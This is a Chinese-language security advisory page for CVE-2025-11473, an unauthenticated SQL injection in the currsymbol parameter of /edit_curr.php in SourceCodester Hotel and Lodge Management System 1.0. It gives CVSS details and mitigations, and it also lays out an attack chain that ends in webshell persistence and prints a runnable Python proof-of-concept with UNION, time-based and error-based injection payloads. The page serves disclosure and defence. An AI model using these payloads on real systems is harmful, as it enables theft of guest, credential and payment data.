IPBUF安全漏洞报告
English
CVE-2025-11473 CVSS 7.3 高危

CVE-2025-11473:SourceCodester酒店管理系统SQL注入漏洞

披露日期: 2025-10-08

漏洞信息

漏洞编号
CVE-2025-11473
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Hotel and Lodge Management System

相关标签

SQL注入SourceCodester酒店管理系统CVE-2025-11473高危漏洞远程利用无需认证edit_curr.phpcurrsymbol

漏洞概述

CVE-2025-11473是SourceCodester酒店与旅馆管理系统(Hotel and Lodge Management System)1.0版本中存在的一个高危SQL注入漏洞。该漏洞位于文件/edit_curr.php中,具体涉及对参数currsymbol的处理逻辑存在安全缺陷。攻击者可以通过远程方式利用该漏洞,无需任何身份认证或用户交互即可发起攻击。

该漏洞的CVSS 3.1评分为7.3分,属于高危级别。其CVSS向量为CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L,表明该漏洞可通过网络远程利用,攻击复杂度低,无需权限和用户交互即可执行,对机密性、完整性和可用性均产生低级别影响。

该漏洞已被公开披露,相关利用代码已在GitHub等平台发布,意味着该漏洞面临较高的实际利用风险。酒店与旅馆管理系统通常存储客户预订信息、支付数据等敏感信息,SQL注入漏洞可能导致数据泄露、数据篡改甚至系统完全被攻陷。该漏洞由[email protected]发现并报告,于2025年10月8日正式披露。

技术细节

该SQL注入漏洞存在于SourceCodester酒店与旅馆管理系统1.0版本的/edit_curr.php文件中。漏洞的根本原因是应用程序在对用户输入的currsymbol参数进行处理时,未能实施充分的输入验证和参数化查询,导致恶意SQL语句可以被注入到数据库查询中。

从技术层面分析,攻击者可以通过构造包含恶意SQL片段的currsymbol参数值,利用经典的SQL注入技术(如UNION查询、布尔盲注、时间盲注或报错注入)来操纵后端数据库。攻击流程如下:

1. 攻击者首先定位目标系统的/edit_curr.php端点;
2. 向该端点发送包含恶意currsymbol参数的HTTP请求;
3. 由于缺乏输入过滤和参数化处理,恶意SQL代码被拼接到原始查询中执行;
4. 攻击者可通过UNION SELECT等方式提取数据库中的敏感信息,包括管理员凭据、客户数据等;
5. 在某些情况下,攻击者还可利用SQL注入实现文件系统读写或远程代码执行。

由于该漏洞无需认证即可利用,且可通过网络远程触发,使得其威胁等级显著提升。

攻击链分析

STEP 1
步骤1:目标侦察
攻击者通过搜索引擎或Shodan等工具识别运行SourceCodester酒店与旅馆管理系统1.0的服务器,定位/edit_curr.php端点。
STEP 2
步骤2:漏洞探测
攻击者向/edit_curr.php发送包含currsymbol参数的请求,通过添加单引号、UNION SELECT等测试payload确认SQL注入漏洞的存在。
STEP 3
步骤3:注入利用
攻击者构造恶意SQL注入payload,通过currsymbol参数注入到数据库查询中,利用UNION查询或盲注技术提取数据库信息。
STEP 4
步骤4:数据提取
攻击者利用SQL注入漏洞提取数据库中的敏感信息,包括管理员凭据、客户个人信息、支付数据等。
STEP 5
步骤5:权限提升与持久化
攻击者利用获取的管理员凭据登录系统后台,或通过SQL注入写入Webshell,实现对系统的持久控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11473 SQL Injection PoC # Target: SourceCodester Hotel and Lodge Management System 1.0 # Vulnerable file: /edit_curr.php # Vulnerable parameter: currsymbol import requests TARGET_URL = "http://target.com" VULNERABLE_ENDPOINT = "/edit_curr.php" # SQL Injection payload targeting the currsymbol parameter # Using UNION-based injection to extract database information payload = "1' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -" # Alternative time-based blind injection payload time_based_payload = "1' AND SLEEP(5)-- -" # Alternative error-based payload error_based_payload = "1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT database()),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -" def exploit_sqli(target_url, endpoint, injection_payload): """ Exploit SQL injection in currsymbol parameter """ url = target_url + endpoint # Construct request parameters params = { "currsymbol": injection_payload, "id": "1" } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/x-www-form-urlencoded" } try: response = requests.get(url, params=params, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Request successful - Status: {response.status_code}") print(f"[+] Response length: {len(response.text)}") # Check for database information leakage in response if "information_schema" in response.text.lower() or "mysql" in response.text.lower(): print("[!] Database information detected in response") return response.text else: print(f"[-] Request failed - Status: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None # Execute exploit if __name__ == "__main__": print(f"[*] Targeting: {TARGET_URL}{VULNERABLE_ENDPOINT}") print(f"[*] Payload: {payload}") result = exploit_sqli(TARGET_URL, VULNERABLE_ENDPOINT, payload) if result: print("[+] Exploit completed. Check response for extracted data.")

影响范围

SourceCodester Hotel and Lodge Management System 1.0

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)通过Web应用防火墙(WAF)规则阻断针对/edit_curr.php的SQL注入攻击payload;2)对currsymbol参数实施输入白名单验证,仅允许预期的货币符号字符;3)暂时禁用/edit_curr.php功能的网络访问权限;4)加强数据库访问日志监控,及时发现异常查询行为;5)对数据库中的敏感数据进行加密存储,降低数据泄露风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表